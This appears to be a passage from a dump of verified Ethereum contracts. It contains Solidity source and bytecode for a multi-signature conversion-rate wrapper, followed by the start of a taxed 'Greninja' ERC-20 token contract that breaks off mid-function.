require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/wrapperContracts/WrapperBase.sol contract WrapperBase is Withdrawable { PermissionGroups wrappedContract; struct DataTracker { address [] approveSignatureArray; uint lastSetNonce; } DataTracker[] internal dataInstances; function WrapperBase(PermissionGroups _wrappedContract, address _admin) public { require(_wrappedContract != address(0)); require(_admin != address(0)); wrappedContract = _wrappedContract; admin = _admin; } function claimWrappedContractAdmin() public onlyAdmin { wrappedContract.claimAdmin(); } function transferWrappedContractAdmin (address newAdmin) public onlyAdmin { wrappedContract.transferAdmin(newAdmin); } function addDataInstance() internal returns (uint) { address[] memory add = new address[](0); dataInstances.push(DataTracker(add, 0)); return(dataInstances.length - 1); } function setNewData(uint dataIndex) internal { require(dataIndex < dataInstances.length); dataInstances[dataIndex].lastSetNonce++; dataInstances[dataIndex].approveSignatureArray.length = 0; } function addSignature(uint dataIndex, uint signedNonce, address signer) internal returns(bool allSigned) { require(dataIndex < dataInstances.length); require(dataInstances[dataIndex].lastSetNonce == signedNonce); for(uint i = 0; i < dataInstances[dataIndex].approveSignatureArray.length; i++) { if (signer == dataInstances[dataIndex].approveSignatureArray[i]) revert(); } dataInstances[dataIndex].approveSignatureArray.push(signer); if (dataInstances[dataIndex].approveSignatureArray.length == operatorsGroup.length) { allSigned = true; } else { allSigned = false; } } function getDataTrackingParameters(uint index) internal view returns (address[], uint) { require(index < dataInstances.length); return(dataInstances[index].approveSignatureArray, dataInstances[index].lastSetNonce); } } // File: contracts/wrapperContracts/WrapConversionRate.sol contract WrapConversionRate is WrapperBase { ConversionRatesInterface conversionRates; //add token parameters ERC20 addTokenToken; uint addTokenMinimalResolution; // can be roughly 1 cent uint addTokenMaxPerBlockImbalance; // in twei resolution uint addTokenMaxTotalImbalance; uint addTokenDataIndex; //set token control info parameters. ERC20[] tokenInfoTokenList; uint[] tokenInfoPerBlockImbalance; // in twei resolution uint[] tokenInfoMaxTotalImbalance; uint tokenInfoDataIndex; //general functions function WrapConversionRate(ConversionRatesInterface _conversionRates, address _admin) public WrapperBase(PermissionGroups(address(_conversionRates)), _admin) { require (_conversionRates != address(0)); conversionRates = _conversionRates; addTokenDataIndex = addDataInstance(); tokenInfoDataIndex = addDataInstance(); } function getWrappedContract() public view returns (ConversionRatesInterface _conversionRates) { _conversionRates = conversionRates; } // add token functions ////////////////////// function setAddTokenData(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) public onlyOperator { require(minimalRecordResolution != 0); require(maxPerBlockImbalance != 0); require(maxTotalImbalance != 0); //update data tracking setNewData(addTokenDataIndex); addTokenToken = token; addTokenMinimalResolution = minimalRecordResolution; // can be roughly 1 cent addTokenMaxPerBlockImbalance = maxPerBlockImbalance; // in twei resolution addTokenMaxTotalImbalance = maxTotalImbalance; } function signToApproveAddTokenData(uint nonce) public onlyOperator { if(addSignature(addTokenDataIndex, nonce, msg.sender)) { // can perform operation. performAddToken(); } } function performAddToken() internal { conversionRates.addToken(addTokenToken); //token control info conversionRates.setTokenControlInfo( addTokenToken, addTokenMinimalResolution, addTokenMaxPerBlockImbalance, addTokenMaxTotalImbalance ); //step functions int[] memory zeroArr = new int[](1); zeroArr[0] = 0; conversionRates.setQtyStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr); conversionRates.setImbalanceStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr); conversionRates.enableTokenTrade(addTokenToken); } function getAddTokenParameters() public view returns(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) { token = addTokenToken; minimalRecordResolution = addTokenMinimalResolution; maxPerBlockImbalance = addTokenMaxPerBlockImbalance; // in twei resolution maxTotalImbalance = addTokenMaxTotalImbalance; } function getAddTokenDataTracking() public view returns (address[] signatures, uint nonce) { (signatures, nonce) = getDataTrackingParameters(addTokenDataIndex); return(signatures, nonce); } //set token control info //////////////////////// function setTokenInfoData(ERC20 [] tokens, uint[] maxPerBlockImbalanceValues, uint[] maxTotalImbalanceValues) public onlyOperator { require(maxPerBlockImbalanceValues.length == tokens.length); require(maxTotalImbalanceValues.length == tokens.length); //update data tracking setNewData(tokenInfoDataIndex); tokenInfoTokenList = tokens; tokenInfoPerBlockImbalance = maxPerBlockImbalanceValues; tokenInfoMaxTotalImbalance = maxTotalImbalanceValues; } function signToApproveTokenControlInfo(uint nonce) public onlyOperator { if(addSignature(tokenInfoDataIndex, nonce, msg.sender)) { // can perform operation. performSetTokenControlInfo(); } } function performSetTokenControlInfo() internal { require(tokenInfoTokenList.length == tokenInfoPerBlockImbalance.length); require(tokenInfoTokenList.length == tokenInfoMaxTotalImbalance.length); uint minimalRecordResolution; uint rxMaxPerBlockImbalance; uint rxMaxTotalImbalance; for (uint i = 0; i < tokenInfoTokenList.length; i++) { (minimalRecordResolution, rxMaxPerBlockImbalance, rxMaxTotalImbalance) = conversionRates.getTokenControlInfo(tokenInfoTokenList[i]); require(minimalRecordResolution != 0); conversionRates.setTokenControlInfo(tokenInfoTokenList[i], minimalRecordResolution, tokenInfoPerBlockImbalance[i], tokenInfoMaxTotalImbalance[i]); } } function getControlInfoPerToken (uint index) public view returns(ERC20 token, uint _maxPerBlockImbalance, uint _maxTotalImbalance) { require (tokenInfoTokenList.length > index); require (tokenInfoPerBlockImbalance.length > index); require (tokenInfoMaxTotalImbalance.length > index); return(tokenInfoTokenList[index], tokenInfoPerBlockImbalance[index], tokenInfoMaxTotalImbalance[index]); } function getTokenInfoData() public view returns(ERC20[], uint[], uint[]) { return(tokenInfoTokenList, tokenInfoPerBlockImbalance, tokenInfoMaxTotalImbalance); } function getTokenInfoTokenList() public view returns(ERC20[] tokens) { return(tokenInfoTokenList); } function getTokenInfoMaxPerBlockImbalanceList() public view returns(uint[] maxPerBlockImbalanceValues) { return (tokenInfoPerBlockImbalance); } function getTokenInfoMaxTotalImbalanceList() public view returns(uint[] maxTotalImbalanceValues) { return(tokenInfoMaxTotalImbalance); } function getTokenInfoDataTracking() public view returns (address[] signatures, uint nonce) { (signatures, nonce) = getDataTrackingParameters(tokenInfoDataIndex); return(signatures, nonce); } }
0x6060604052600436106101505763ffffffff60e060020a600035041663010afc20811461015557806301a12fd31461016a5780631bf983a61461018957806326782247146101ef57806327a099d81461021e5780633ccdbb2814610231578063408ee7fe1461025a5780634395dc061461027957806350ca62271461028c578063580479131461037d57806359e541af146103905780635adc0c68146103a357806375829def146103f357806377f50f97146104125780637acc8678146104255780637c423f54146104445780638d7cffb7146104575780638e05d59d146104765780639870d7fe1461048c578063aaa1f91d146104ab578063ac0a04b2146104d3578063ac8a584a146104e9578063bd467b6e14610508578063ce56c454146105d7578063ef02ad08146105f9578063f851a44014610667578063fd56d4c81461067a578063fff3ad33146106c6575b600080fd5b341561016057600080fd5b6101686106d9565b005b341561017557600080fd5b610168600160a060020a0360043516610749565b341561019457600080fd5b61019c6108b9565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156101db5780820151838201526020016101c3565b505050509050019250505060405180910390f35b34156101fa57600080fd5b610202610918565b604051600160a060020a03909116815260200160405180910390f35b341561022957600080fd5b61019c610927565b341561023c57600080fd5b610168600160a060020a03600435811690602435906044351661098e565b341561026557600080fd5b610168600160a060020a0360043516610a85565b341561028457600080fd5b61019c610b81565b341561029757600080fd5b61029f610be7565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156102e75780820151838201526020016102cf565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561032657808201518382015260200161030e565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561036557808201518382015260200161034d565b50505050905001965050505050505060405180910390f35b341561038857600080fd5b610202610d10565b341561039b57600080fd5b61019c610d1f565b34156103ae57600080fd5b6103b6610d7b565b6040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390f35b34156103fe57600080fd5b610168600160a060020a0360043516610d99565b341561041d57600080fd5b610168610e34565b341561043057600080fd5b610168600160a060020a0360043516610ece565b341561044f57600080fd5b61019c610fb0565b341561046257600080fd5b610168600160a060020a0360043516611016565b341561048157600080fd5b610168600435611098565b341561049757600080fd5b610168600160a060020a03600435166110dc565b34156104b657600080fd5b610168600160a060020a03600435166024356044356064356111ac565b34156104de57600080fd5b610168600435611231565b34156104f457600080fd5b610168600160a060020a0360043516611272565b341561051357600080fd5b610168600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506113de95505050505050565b34156105e257600080fd5b610168600435600160a060020a0360243516611467565b341561060457600080fd5b61060c6114fa565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561065257808201518382015260200161063a565b50505050905001935050505060405180910390f35b341561067257600080fd5b610202611518565b341561068557600080fd5b610690600435611527565b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390f35b34156106d157600080fd5b61060c6115c3565b60005433600160a060020a039081169116146106f457600080fd5b600654600160a060020a03166377f50f976040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561073357600080fd5b6102c65a03f1151561074457600080fd5b505050565b6000805433600160a060020a0390811691161461076557600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561078c57600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108b55781600160a060020a03166005828154811015156107d157fe5b600091825260209091200154600160a060020a031614156108ad576005805460001981019081106107fe57fe5b60009182526020909120015460058054600160a060020a03909216918390811061082457fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556005805490610860906000198301611ec2565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16108b5565b6001016107ae565b5050565b6108c1611ee6565b601080548060200260200160405190810160405280929190818152602001828054801561090d57602002820191906000526020600020905b8154815260200190600101908083116108f9575b505050505090505b90565b600154600160a060020a031681565b61092f611ee6565b600480548060200260200160405190810160405280929190818152602001828054801561090d57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610967575050505050905090565b60005433600160a060020a039081169116146109a957600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a0657600080fd5b6102c65a03f11515610a1757600080fd5b505050604051805190501515610a2c57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610aa057600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610ac657600080fd5b60055460329010610ad657600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610b558382611ec2565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b610b89611ee6565b600e80548060200260200160405190810160405280929190818152602001828054801561090d57602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610967575050505050905090565b610bef611ee6565b610bf7611ee6565b610bff611ee6565b600e600f601082805480602002602001604051908101604052809291908181526020018280548015610c5a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c3c575b5050505050925081805480602002602001604051908101604052809291908181526020018280548015610cac57602002820191906000526020600020905b815481526020019060010190808311610c98575b5050505050915080805480602002602001604051908101604052809291908181526020018280548015610cfe57602002820191906000526020600020905b815481526020019060010190808311610cea575b50505050509050925092509250909192565b600854600160a060020a031690565b610d27611ee6565b600f80548060200260200160405190810160405280929190818152602001828054801561090d57602002820191906000526020600020908154815260200190600101908083116108f9575050505050905090565b600954600a54600b54600c54600160a060020a039093169391929091565b60005433600160a060020a03908116911614610db457600080fd5b600160a060020a0381161515610dc957600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610e4f57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610ee957600080fd5b600160a060020a0381161515610efe57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610fb8611ee6565b600580548060200260200160405190810160405280929190818152602001828054801561090d57602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610967575050505050905090565b60005433600160a060020a0390811691161461103157600080fd5b600654600160a060020a03166375829def8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561108157600080fd5b6102c65a03f1151561109257600080fd5b50505050565b600160a060020a03331660009081526002602052604090205460ff1615156110bf57600080fd5b6110cc60115482336115d8565b156110d9576110d961172c565b50565b60005433600160a060020a039081169116146110f757600080fd5b600160a060020a03811660009081526002602052604090205460ff161561111d57600080fd5b6004546032901061112d57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610b558382611ec2565b600160a060020a03331660009081526002602052604090205460ff1615156111d357600080fd5b8215156111df57600080fd5b8115156111eb57600080fd5b8015156111f757600080fd5b611202600d546118fc565b60098054600160a060020a031916600160a060020a039590951694909417909355600a91909155600b55600c55565b600160a060020a03331660009081526002602052604090205460ff16151561125857600080fd5b611265600d5482336115d8565b156110d9576110d9611958565b6000805433600160a060020a0390811691161461128e57600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156112b557600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108b55781600160a060020a03166004828154811015156112fa57fe5b600091825260209091200154600160a060020a031614156113d65760048054600019810190811061132757fe5b60009182526020909120015460048054600160a060020a03909216918390811061134d57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906113899082611ec2565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16108b5565b6001016112d7565b600160a060020a03331660009081526002602052604090205460ff16151561140557600080fd5b825182511461141357600080fd5b825181511461142157600080fd5b61142c6011546118fc565b600e83805161143f929160200190611ef8565b50600f828051611453929160200190611f5f565b506010818051611092929160200190611f5f565b60005433600160a060020a0390811691161461148257600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f1935050505015156114b357600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b611502611ee6565b600061150f601154611e04565b90925090509091565b600054600160a060020a031681565b600e546000908190819084901161153d57600080fd5b600f5484901161154c57600080fd5b60105484901161155b57600080fd5b600e80548590811061156957fe5b600091825260209091200154600f8054600160a060020a03909216918690811061158f57fe5b9060005260206000209001546010868154811015156115aa57fe5b9060005260206000209001549250925092509193909250565b6115cb611ee6565b600061150f600d54611e04565b600754600090819085106115eb57600080fd5b836007868154811015156115fb57fe5b90600052602060002090600202016001015414151561161957600080fd5b5060005b600780548690811061162b57fe5b600091825260209091206002909102015481101561169b57600780548690811061165157fe5b90600052602060002090600202016000018181548110151561166f57fe5b600091825260209091200154600160a060020a038481169116141561169357600080fd5b60010161161d565b60078054869081106116a957fe5b600091825260209091206002909102018054600181016116c98382611ec2565b5060009182526020909120018054600160a060020a031916600160a060020a03851617905560045460078054879081106116ff57fe5b6000918252602090912060029091020154141561171f5760019150611724565b600091505b509392505050565b600f54600e546000918291829182911461174557600080fd5b601054600e541461175557600080fd5b5060005b600e5481101561109257600854600e8054600160a060020a039092169163e7d4fd9191908490811061178757fe5b6000918252602082200154600160a060020a0316906040516060015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401606060405180830381600087803b15156117e157600080fd5b6102c65a03f115156117f257600080fd5b50505060405180519060200180519060200180519296509094509092505083151561181c57600080fd5b600854600e8054600160a060020a039092169163bfee356991908490811061184057fe5b600091825260209091200154600f8054600160a060020a03909216918891908690811061186957fe5b90600052602060002090015460108681548110151561188457fe5b90600052602060002090015460405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b15156118e057600080fd5b6102c65a03f115156118f157600080fd5b505050600101611759565b600754811061190a57600080fd5b600780548290811061191857fe5b6000918252602082206001600290920201810180549091019055600780548390811061194057fe5b600091825260209091206108b5916002020182611ec2565b611960611ee6565b600854600954600160a060020a039182169163d48bfca7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156119b757600080fd5b6102c65a03f115156119c857600080fd5b5050600854600954600a54600b54600c54600160a060020a03948516955063bfee3569949093169260405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b1515611a4057600080fd5b6102c65a03f11515611a5157600080fd5b5050506001604051805910611a635750595b90808252806020026020018201604052509050600081600081518110611a8557fe5b60209081029091010152600854600954600160a060020a03918216916380d8b3809116838080806040518663ffffffff1660e060020a0281526004018086600160a060020a0316600160a060020a0316815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015611b22578082015183820152602001611b0a565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015611b61578082015183820152602001611b49565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015611ba0578082015183820152602001611b88565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015611bdf578082015183820152602001611bc7565b505050509050019950505050505050505050600060405180830381600087803b1515611c0a57600080fd5b6102c65a03f11515611c1b57600080fd5b5050600854600954600160a060020a03918216925063bc9cbcc89116838080806040518663ffffffff1660e060020a0281526004018086600160a060020a0316600160a060020a0316815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015611cb1578082015183820152602001611c99565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015611cf0578082015183820152602001611cd8565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015611d2f578082015183820152602001611d17565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015611d6e578082015183820152602001611d56565b505050509050019950505050505050505050600060405180830381600087803b1515611d9957600080fd5b6102c65a03f11515611daa57600080fd5b5050600854600954600160a060020a039182169250631d6a8bda911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561108157600080fd5b611e0c611ee6565b6007546000908310611e1d57600080fd5b6007805484908110611e2b57fe5b9060005260206000209060020201600001600784815481101515611e4b57fe5b90600052602060002090600202016001015481805480602002602001604051908101604052809291908181526020018280548015611eb257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611e94575b5050505050915091509150915091565b81548183558181151161074457600083815260209020610744918101908301611fa2565b60206040519081016040526000815290565b828054828255906000526020600020908101928215611f4f579160200282015b82811115611f4f5782518254600160a060020a031916600160a060020a039190911617825560209290920191600190910190611f18565b50611f5b929150611fbc565b5090565b828054828255906000526020600020908101928215611f9a579160200282015b82811115611f9a578251825591602001919060010190611f7f565b50611f5b9291505b61091591905b80821115611f5b5760008155600101611fa8565b61091591905b80821115611f5b578054600160a060020a0319168155600101611fc2565b6000611fea611ee6565b6000604051805910611ff95750595b90808252806020026020018201604052509050600780548060010182816120209190612076565b91600052602060002090600202016000604080519081016040528481526000602082015291905081518190805161205b929160200190611ef8565b50602082015160019091015550506007546000190191505090565b81548183558181151161074457600083815260209020610744916109159160029182028101918502015b80821115611f5b5760006120b482826120c4565b50600060018201556002016120a0565b50805460008255906000526020600020908101906110d99190611fa25600a165627a7a72305820b952ac15510d46cc20743a14bef9464f8af16487f0a09a38128ad7e1a2fd4dab0029
{"success": true, "error": null, "results": {}}
3,124
0xeb4f4dc9dB773c334272F740513da0181eA07D4b
//SPDX-License-Identifier: None // Telegram: t.me/greninjatoken pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="GREN"; string constant TOKEN_NAME="Greninja"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Greninja is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function 